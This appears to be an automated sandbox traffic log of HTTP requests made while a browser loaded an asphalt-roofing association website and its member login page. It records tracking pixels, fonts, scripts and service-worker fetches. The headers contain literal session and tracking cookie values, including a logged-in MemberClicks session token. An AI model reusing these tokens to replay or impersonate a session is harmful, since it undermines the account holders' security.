Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/05/V2-Banner-1900x400-1.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2022/10/ig.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=7.0.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/u-design/inc/shared/font-awesome/fonts/fontawesome-webfont.woff2?v=4.7.0 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/themes/u-design/inc/shared/font-awesome/css/font-awesome.min.css?ver=3.3.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/floating-top-link/fonts/floating-top-link.woff2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/plugins/floating-top-link/css/floating-top-link.css?ver=1.0.5Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-regular-400.woff2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-solid-900.woff2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /media/2017/10/cmw-E-facade-front-1.jpg HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /?wc-ajax=get_refreshed_fragments HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/135083026.png?id=57 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-brands-400.woff2 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/all.min.css?ver=6.1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884032322 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/refresh HTTP/1.1Host: marco.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/pixel.js?pk=feathr HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/revslider/public/assets/fonts/revicons/revicons.woff?5510888 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.asphaltroofing.orgsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/cmb/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=b73cbbe9-d3f6-43f9-891b-3186ee4712ab; TDCPM=CAEYBSgCMgsI5qDQ2P3r8TwQBTgB
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884033956&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f HTTP/1.1Host: polo-v1.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/crumb?cb=1713884033956&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1Host: polo.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884034686 HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f HTTP/1.1Host: polo-v1.feathr.coConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /v1/accounts/603026366fd8bf4e42de107f/integrations/facebook/pixel.js?pk=feathr HTTP/1.1Host: polo.feathr.coConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: f_id=6627cb818425280008d4a656
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/cropped-logo-icon-150x150.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /security.js?v=1713884035214 HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveCache-Control: max-age=0Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://www.asphaltroofing.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/2017/04/cropped-logo-icon-150x150.png HTTP/1.1Host: www.asphaltroofing.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
Source: global traffic	HTTP traffic detected: GET /sw.js HTTP/1.1Host: wds.wesq.meConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /en_US/fbevents.js HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /login HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /signals/config/688224189896855?v=2.9.154&r=stable&domain=www.asphaltroofing.org&hme=c3a545c63044e8e9102d4f32d84a1137594d024f28e801d670bc76dc5c075575&ex_m=67%2C112%2C99%2C103%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C158%2C161%2C172%2C168%2C169%2C171%2C28%2C94%2C50%2C73%2C170%2C153%2C156%2C165%2C166%2C173%2C121%2C14%2C48%2C178%2C177%2C123%2C17%2C33%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C100%2C102%2C37%2C101%2C29%2C25%2C154%2C157%2C130%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C39%2C34%2C80%2C2%2C35%2C60%2C40%2C98%2C43%2C75%2C65%2C104%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C105 HTTP/1.1Host: connect.facebook.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.asphaltroofing.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /includes/js/jquery.min.js HTTP/1.1Host: arma1.memberclicks.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://arma1.memberclicks.net/loginAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
